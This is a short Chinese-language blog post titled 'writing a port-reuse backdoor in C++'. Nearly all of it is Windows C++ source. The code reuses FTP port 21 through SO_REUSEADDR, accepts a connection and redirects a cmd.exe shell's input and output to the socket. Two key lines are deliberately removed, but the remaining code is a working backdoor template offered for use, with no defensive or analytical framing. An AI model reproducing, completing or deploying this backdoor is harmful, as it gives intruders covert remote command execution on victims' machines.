1. 程式人生 > >談C++中的埠複用後門的編寫

談C++中的埠複用後門的編寫

#include <stdio.h>
#include <windows.h>  
#include <winsock.h>  
int main()
{
WSADATA ws;
SOCKET listenFD;
int ret;           //初始化wsa
WSAStartup(MAKEWORD(2,2),&ws);          //注意要用WSASocket
*************        //去掉這2行關鍵的定義程式碼
**********
setsockopt(listenFD,SOL_SOCKET,SO_REUSEADDR,(char*)&val,sizeof(val));
//監聽本機21埠,可以直接搶佔FTP軟體正在使用的埠
struct sockaddr_in server;
server.sin_family =AF_INET;
server.sin_port =htons(21);
server.sin_addr.s_addr=inet_addr("127.0.0.1");
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));            //定義地址指標
ret=listen(listenFD,2);                  //如果客戶請求21埠,接受連線

int iAddrSize=sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags =STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
                 //設定為輸入輸出控制代碼為Socket
si.hStdInput=si.hStdOutput =si.hStdError =(void *)clientFD;
char cmdLine[]="cmd";
PROCESS_INFORMATION ProcessInformation;            //建立程序
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
return 0;
}